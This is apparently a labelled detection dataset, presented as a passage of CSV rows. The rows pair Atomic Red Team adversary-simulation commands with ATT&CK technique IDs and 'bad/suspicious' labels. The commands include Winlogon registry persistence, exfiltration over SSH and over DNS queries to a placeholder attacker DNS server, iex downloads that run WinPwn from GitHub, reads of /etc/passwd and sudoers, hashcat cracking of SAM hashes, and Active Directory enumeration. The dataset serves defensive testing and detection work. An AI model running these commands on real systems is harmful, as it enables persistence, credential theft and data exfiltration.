",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8581cb7b34566ff248177787,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Shell"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Shell"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon Shell Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.55,True,"PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49a0aa7be258c5c3ba0a3e53,"Set-ItemProperty ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Userinit"" ""Userinit.exe, #{binary_to_execute}"" -Force","Set-ItemProperty ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Userinit"" ""Userinit.exe, #{binary_to_execute}"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon Userinit Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.9,False,"PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
031dcf9a9df1d92f480e6090,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Userinit"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Userinit"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon Userinit Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.55,True,"PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d83fafb1458d24285199d182,"Remove-Item ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"" -Force -ErrorAction Ignore","Remove-Item ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon Notify Key Logon Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.55,True,"PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.

Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5d09e51afade79d0348c808,"Set-ItemProperty ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Shell"" ""explorer.exe, #{binary_to_execute}"" -Force","Set-ItemProperty ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Shell"" ""explorer.exe, #{binary_to_execute}"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon HKLM Shell Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.9,False,"PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a01600ff974b538f5d9e78ef,"Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Shell"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Shell"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon HKLM Shell Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.55,True,"PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ae36766fb408a783256f6f7,"Set-ItemProperty ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Userinit"" ""Userinit.exe, #{binary_to_execute}"" -Force","Set-ItemProperty ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Userinit"" ""Userinit.exe, #{binary_to_execute}"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon HKLM Userinit Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.9,False,"PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5de06ad5e7d630bb7942fcf0,"Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Userinit"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" -Name ""Userinit"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon HKLM Userinit Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.55,True,"PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
553dabe5b19776d891fb255c,"ssh #{domain} ""(cd /etc && tar -zcvf - *)"" > ./etc.tar.gz","ssh #{domain} ""(cd /etc && tar -zcvf - *)"" > ./etc.tar.gz",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048/T1048.yaml,Exfiltration Over Alternative Protocol - SSH,T1048,"[""T1048""]","macos,linux",0.9,False,"Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5063fd02c340ac4b5fbfa0f,tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc',tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048/T1048.yaml,Exfiltration Over Alternative Protocol - SSH,T1048,"[""T1048""]","macos,linux",0.9,False,"Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7949cfc5af34c4a468e5b76c,"Import-Module ""#{ps_module}"" Invoke-DNSExfiltrator -i ""#{ps_module}"" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}","Import-Module ""#{ps_module}"" Invoke-DNSExfiltrator -i ""#{ps_module}"" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048/T1048.yaml,DNSExfiltration (doh),T1048,"[""T1048""]",windows,0.9,False,"DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.
!!! Test will fail without a domain under your control with A record and NS record !!! 
See this github page for more details - https://github.com/Arno0x/DNSExfiltrator
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33f78d05ea6673727a4df395,"dig @#{attacker_dns_server} -p #{dns_port} $(echo ""#{secret_info}"" | base64).google.com","dig @#{attacker_dns_server} -p #{dns_port} $(echo ""#{secret_info}"" | base64).google.com",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048/T1048.yaml,Exfiltrate Data using DNS Queries via dig,T1048,"[""T1048""]","macos,linux",0.9,False,"This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and 
making DNS queries via the dig command to a controlled DNS server.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd923ae7b5c6ee20ce0df98e,"reg query ""HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer"" /v svcVersion","reg query ""HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer"" /v svcVersion",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,Find and Display Internet Explorer Browser Version,T1518,"[""T1518""]",windows,0.9,False,"Query the registry to determine the version of internet explorer installed on the system.
Upon execution, version information about internet explorer will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8f90332ec1cb88646bfeb4b7,"Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize","Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,Applications Installed,T1518,"[""T1518""]",windows,0.9,False,"Query the registry to determine software and versions installed on the system. Upon execution a table of
software name and version information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
78d5cb6d4611766dce6b9fbe,"/usr/libexec/PlistBuddy -c ""print :CFBundleShortVersionString"" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c ""print :CFBundleVersion"" /Applications/Safari.app/Contents/Info.plist","/usr/libexec/PlistBuddy -c ""print :CFBundleShortVersionString"" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c ""print :CFBundleVersion"" /Applications/Safari.app/Contents/Info.plist",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,Find and Display Safari Browser Version,T1518,"[""T1518""]",macos,0.9,False,"Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
977254650bde74852edf184a,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Dotnetsearch -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Dotnetsearch -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,WinPwn - Dotnetsearch,T1518,"[""T1518""]",windows,0.9,False,Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3dc26cd3ebe651ca603d7295,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') dotnet -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') dotnet -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,WinPwn - DotNet,T1518,"[""T1518""]",windows,0.9,False,Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16fa59b34c0b42ec71ef08f6,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powerSQL -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powerSQL -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518/T1518.yaml,WinPwn - powerSQL,T1518,"[""T1518""]",windows,0.9,False,Start PowerUpSQL Checks using powerSQL function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d64252bac40f0fb3fecf4c74,cat /etc/passwd > #{output_file} cat #{output_file},cat /etc/passwd > #{output_file} cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate all accounts (Local),T1087.001,"[""T1087.001""]",linux,0.9,False,"Enumerate all accounts by copying /etc/passwd to another file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc7dd0b71d7b6f6ac86fd528,rm -f #{output_file},rm -f #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate all accounts (Local),T1087.001,"[""T1087.001""]",linux,0.55,True,"Enumerate all accounts by copying /etc/passwd to another file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f150a45ad1317d044039febc,if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi; if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi; cat #{output_file},if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi; if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi; cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,View sudoers access,T1087.001,"[""T1087.001""]","linux,macos",0.9,False,"(requires root)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4af1032d5a2675b966e4090e,grep 'x:0:' /etc/passwd > #{output_file} grep '*:0:' /etc/passwd >> #{output_file} cat #{output_file} 2>/dev/null,grep 'x:0:' /etc/passwd > #{output_file} grep '*:0:' /etc/passwd >> #{output_file} cat #{output_file} 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,View accounts with UID 0,T1087.001,"[""T1087.001""]","linux,macos",0.9,False,"View accounts with UID 0
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8994eaca5f735e0b8ed56a37,rm -f #{output_file} 2>/dev/null,rm -f #{output_file} 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,View accounts with UID 0,T1087.001,"[""T1087.001""]","linux,macos",0.55,True,"View accounts with UID 0
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99cebb626080c3335562b3eb,username=$(id -u -n) && lsof -u $username,username=$(id -u -n) && lsof -u $username,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,List opened files by user,T1087.001,"[""T1087.001""]","linux,macos",0.9,False,"List opened files by user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ab522d463ba5ac00fd732769,"[ ""$(uname)"" = 'FreeBSD' ] && cmd=""lastlogin"" || cmd=""lastlog"" $cmd > #{output_file} cat #{output_file}","[ ""$(uname)"" = 'FreeBSD' ] && cmd=""lastlogin"" || cmd=""lastlog"" $cmd > #{output_file} cat #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Show if a user account has ever logged in remotely,T1087.001,"[""T1087.001""]",linux,0.9,False,"Show if a user account has ever logged in remotely
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3a59cd4e5913bdce410c319,groups id,groups id,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate users and groups,T1087.001,"[""T1087.001""]","linux,macos",0.9,False,"Utilize groups and id to enumerate users and groups
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3de3e1ace0979270e59ca0aa,dscl . list /Groups dscl . list /Users dscl . list /Users | grep -v '_' dscacheutil -q group dscacheutil -q user,dscl . list /Groups dscl . list /Users dscl . list /Users | grep -v '_' dscacheutil -q group dscacheutil -q user,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate users and groups,T1087.001,"[""T1087.001""]",macos,0.9,False,"Utilize local utilities to enumerate users and groups
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a29409a44d11a1f1541c2085,"net user dir c:\Users\ cmdkey.exe /list net localgroup ""Users"" net localgroup","net user dir c:\Users\ cmdkey.exe /list net localgroup ""Users"" net localgroup",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate all accounts on Windows (Local),T1087.001,"[""T1087.001""]",windows,0.9,False,"Enumerate all accounts
Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e472d6f8ff866a7af915d2be,net user get-localuser get-localgroupmember -group Users cmdkey.exe /list ls C:/Users get-childitem C:\Users\ dir C:\Users\ get-localgroup net localgroup,net user get-localuser get-localgroupmember -group Users cmdkey.exe /list ls C:/Users get-childitem C:\Users\ dir C:\Users\ get-localgroup net localgroup,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate all accounts via PowerShell (Local),T1087.001,"[""T1087.001""]",windows,0.9,False,"Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c67dabc056b0d607f58dfeb5,query user,query user,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,Enumerate logged on users via CMD (Local),T1087.001,"[""T1087.001""]",windows,0.9,False,"Enumerate logged on users. Upon execution, logged on users will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
033877ac08dfcdb26185654f,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli system account list""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli system account list""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.001/T1087.001.yaml,ESXi - Local Account Discovery via ESXCLI,T1087.001,"[""T1087.001""]",windows,0.9,False,"An adversary can use ESXCLI to enumerate a list of all local accounts on an ESXi host.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#account%20enumeration)""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3086e552679f943c0b6ac3eb,cd #{hashcat_exe}\.. #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords},cd #{hashcat_exe}\.. #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.002/T1110.002.yaml,Password Cracking with Hashcat,T1110.002,"[""T1110.002""]",windows,0.9,False,Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed26498582f7f3d7ab95603f,"del ""PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z"" >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe"" >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\7z"" /Q /S >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip"" /Q /S >nul 2>&1","del ""PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z"" >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe"" >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\7z"" /Q /S >nul 2>&1 del ""PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip"" /Q /S >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.002/T1110.002.yaml,Password Cracking with Hashcat,T1110.002,"[""T1110.002""]",windows,0.55,True,Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
414ac1addb596975a34a780e,net user /domain net group /domain,net user /domain net group /domain,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate all accounts (Domain),T1087.002,"[""T1087.002""]",windows,0.9,False,"Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06049154791b32d7a4e151f9,net user /domain get-localgroupmember -group Users get-aduser -filter *,net user /domain get-localgroupmember -group Users get-aduser -filter *,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate all accounts via PowerShell (Domain),T1087.002,"[""T1087.002""]",windows,0.9,False,"Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af9883d9a10f06b33815c910,query user /SERVER:#{computer_name},query user /SERVER:#{computer_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate logged on users via CMD (Domain),T1087.002,"[""T1087.002""]",windows,0.9,False,"Enumerate logged on users. Upon exeuction, logged on users will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de26322e7f8335e44594e927,"Invoke-Expression ""#{adrecon_path}""","Invoke-Expression ""#{adrecon_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Automated AD Recon (ADRecon),T1087.002,"[""T1087.002""]",windows,0.9,False,"ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee5ee82ec9f930d59331a9a1,"Get-ChildItem ""PathToAtomicsFolder\..\ExternalPayloads"" -Recurse -Force | Where{$_.Name -Match ""^ADRecon-Report-""} | Remove-Item -Force -Recurse","Get-ChildItem ""PathToAtomicsFolder\..\ExternalPayloads"" -Recurse -Force | Where{$_.Name -Match ""^ADRecon-Report-""} | Remove-Item -Force -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Automated AD Recon (ADRecon),T1087.002,"[""T1087.002""]",windows,0.55,True,"ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac5287e2ffa5aff4167b3f15,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Adfind -Listing password policy,T1087.002,"[""T1087.002""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3226a4250025277cb03762c,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -sc admincountdmp #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -sc admincountdmp #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Adfind - Enumerate Active Directory Admins,T1087.002,"[""T1087.002""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a5b5026cccbc3d88f08f902,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=person) #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=person) #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Adfind - Enumerate Active Directory User Objects,T1087.002,"[""T1087.002""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc72f434737b87cacd7f4892,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -sc exchaddresses #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -sc exchaddresses #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Adfind - Enumerate Active Directory Exchange AD Objects,T1087.002,"[""T1087.002""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
703586c9f8f614d522d730e1,net user administrator /domain,net user administrator /domain,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate Default Domain Admin Details (Domain),T1087.002,"[""T1087.002""]",windows,0.9,False,"This test will enumerate the details of the built-in domain admin account
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b6f72ebb56b41fe332840bd,Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain},Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate Active Directory for Unconstrained Delegation,T1087.002,"[""T1087.002""]",windows,0.9,False,"Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
